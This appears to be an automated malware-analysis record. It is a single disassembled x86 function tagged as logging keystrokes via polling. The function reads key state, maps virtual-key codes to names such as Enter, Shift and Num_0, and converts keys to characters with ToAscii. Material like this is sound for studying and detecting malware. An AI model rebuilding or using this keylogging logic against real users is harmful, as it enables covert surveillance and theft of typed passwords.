Function at 0x437190
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push 0xffffffffffffffff
push 0x56a2f2
mov eax, dword fs:[0]
push eax
sub esp, 0x110
mov eax, dword [0x5c96a4]
xor eax, esp
mov dword [esp + 0x10c], eax
push ebx
push ebp
mov eax, dword [0x5c96a4]
xor eax, esp
push eax
lea eax, [esp + 0x11c]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0x124], ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], esi
lea ebp, [ebx + 1]
cmp dword [0x5dfe4c], ebx
je 0x4371f0
push 0x14
call dword [sym.imp.USER32.dll_GetKeyState]
movzx ebp, ax
call fcn.00441f5f
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x43720a
push 0x80004005
call fcn.00403c50
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esi], eax
lea eax, [edi - 8]
mov dword [esp + 0x124], ebx
mov dword [esp + 0x10], 1
cmp eax, 0xf7
ja case.0x43723c.10
movzx ecx, byte [eax + 0x437874]
jmp dword [ecx*4 + 0x437760]
push str.Backspace
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a3438
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a3440
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Enter
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Shift
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Ctrl
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a01c8
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Pause
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.CapsLock
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a3474
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Space
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.PageUp
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.PageDown
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a34ac
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Home
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Left
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a34cc
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Right
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Down
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Select
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Print
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.PrintScreen
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Insert
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Delete
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a3530
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Num_0
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Num_1
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Num_2
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Num_3
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Num_4
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Num_5
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Num_6
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Num_7
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Num_8
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Num_9
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a35b4
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Num_
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x59ba18
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a35cc
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Num_.
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Num__
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a35f0
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a35f8
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a3600
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a3608
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a3610
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a3618
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a3620
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a3628
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a3630
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a3638
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a3640
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a3648
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.NumLock
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.Scroll_Lock
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.L_Shift
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.R_Shift
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.L_Ctrl
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.R_Ctrl
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.L_Alt
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.R_Alt
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.L_Win
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push str.R_Win
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5a36e8
mov ecx, esi
call fcn.004061c0
jmp case.0x43723c.255
push 0x5e1868
mov ecx, esi
call fcn.0040bbf0
jmp case.0x43723c.255
push 0x5e186c
mov ecx, esi
call fcn.0040bbf0
jmp case.0x43723c.255
push 0x5e1870
mov ecx, esi
call fcn.0040bbf0
jmp case.0x43723c.255
push 0xff
lea edx, [esp + 0x1d]
push ebx
push edx
mov byte [esp + 0x24], bl
call fcn.00542e50
add esp, 0xc
push ebx
push edi
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
push ebx
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x20]
push edx
push eax
push edi
call dword [sym.imp.USER32.dll_ToAscii]
mov eax, dword [esp + 0xc]
and eax, 0xff
mov dword [esp + 0xc], eax
movzx eax, ax
push eax
call fcn.005420c7
add esp, 4
test eax, eax
je 0x437724
mov ecx, 1
cmp cx, bp
jne 0x437724
movzx edx, word [esp + 0xc]
push edx
call fcn.00542310
movzx eax, ax
add esp, 4
mov dword [esp + 0xc], eax
movzx ecx, word [esp + 0xc]
push ecx
push 0x5a44b0
push esi
call fcn.00403920
add esp, 0xc
mov eax, esi
mov ecx, dword [esp + 0x11c]
mov dword fs:[0], ecx
pop ecx
pop ebp
pop ebx
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.0053fb0e
add esp, 0x11c
ret